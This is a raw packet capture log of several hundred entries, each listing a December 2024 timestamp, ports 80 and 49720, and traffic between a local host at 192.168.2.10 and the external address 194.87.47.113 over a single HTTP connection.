Dec 19, 2024 08:21:33.799840927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.799885988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.799902916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.799958944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.800371885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.800473928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.801160097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.801215887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.801289082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.801323891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.801960945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.802076101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.802758932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.802820921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.802869081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.802920103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.803639889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.803699017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.803756952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.804306984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.804425955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.805114031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.805172920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.805218935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.805267096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.805900097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.806014061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.806689024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.806756973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.806794882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.806857109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.807477951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.807553053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.807621002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.808276892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.808382034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.809087038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.809135914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.809190035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.809238911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.809889078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.809997082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.810182095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.810729980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.810842991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.811191082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.811472893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.811578035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.812226057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.812293053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.812335014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.812376976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.813025951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.813138962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.813822985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.813884974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.813937902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.813978910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.814687967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.814699888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.814749002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.815435886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.815552950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.815610886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.816236019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.816263914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.816982031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.817028999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.817068100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.817114115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.818948984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.818960905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.818974972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.818986893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.819030046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.819048882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.819340944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.819442034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.819502115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.820393085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.820405006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.820465088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.821154118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.821166039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.821213007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.821762085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.821815014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.822501898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.822556973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.822630882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.822681904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.823467016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.823478937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.823537111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.888735056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.888829947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.888925076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.889019966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.889081001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.889122009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.889693022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.889806986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.891182899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.891690969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.891704082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.891716957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.891731024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.891756058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.891788960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.892054081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.892076969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.892137051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.892966986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.893039942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.893980026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.894041061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.942308903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.942435026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.942481041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.942492962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.942545891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.943231106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.943346024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.943403959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.944015980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.944156885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.944802999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.944859028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.944884062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.944930077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.945677996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.945719957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.946366072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.946417093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.946479082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.946527004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.947195053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.947289944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.947343111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.947971106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.948142052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.948795080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.948858976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.948904991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.948945999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.949590921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.949696064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.950411081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.950462103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.950500011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.950604916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.951128960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.951265097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.951311111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.951865911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.990777969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.990868092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.990930080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.990942955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.990989923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.991015911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.991797924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.991873980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.991930008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.992453098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.992501020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.992702007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.992795944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.993531942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.993580103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.993688107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.993727922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.994491100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.994894981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.995171070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.995338917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.995376110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.995923996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.995968103 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.996114016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.996155024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.996663094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.996781111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.997463942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.997514963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.997561932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.997621059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.998282909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.998334885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.999028921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.999079943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.999139071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.999790907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.999842882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.999943972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.999989986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.000638962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.000741959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.001420021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.001471996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.001600027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.001641035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.002219915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.002314091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.003050089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.003101110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.003143072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.003825903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.003878117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.003987074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.004020929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.004556894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.004712105 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.005453110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.005502939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.005525112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.005564928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.006134987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.006244898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.006939888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.006985903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.007118940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.007159948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.007790089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.007883072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.008553028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.008615017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.008661985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.008703947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.009392977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.009490967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.010099888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.010148048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.010236025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.010277987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.010921001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.010988951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.011172056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.011688948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.011791945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.012475014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.012523890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.012573004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.012618065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.013385057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.013406038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.013449907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.014024019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.014154911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.014852047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.014899015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.014964104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.015003920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.015661001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.015727043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.015773058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.087117910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.087182999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.087441921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.087513924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.087527037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.087572098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.088222027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.088342905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.089016914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.089071989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.089126110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.089167118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.089801073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.089858055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.090660095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.090714931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.090753078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.090795040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.091418982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.091489077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.091545105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.134350061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.134453058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.134622097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.134721994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.134809971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.134900093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.135526896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.135648966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.136332989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.136403084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.136423111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.136447906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.137108088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.137181044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.137962103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.138020992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.138056993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.138112068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.138776064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.138803959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.139173985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.139457941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.139574051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.140264988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.140326977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.140368938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.140409946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.141030073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.141161919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.141853094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.141911983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.141969919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.142023087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.142627001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.142750978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.143177032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.143443108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.143584013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.144159079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.144217014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.182594061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.182651997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.182713032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.182917118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.182957888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.182996035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.183727980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.183931112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.183983088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.184498072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.184545994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.184751034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.184875965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.185235977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.185576916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.185595036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.185643911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.186323881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.186559916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.187110901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.187150002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.187217951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.187257051 CET	49720	80	192.168.2.10	194.87.47.113
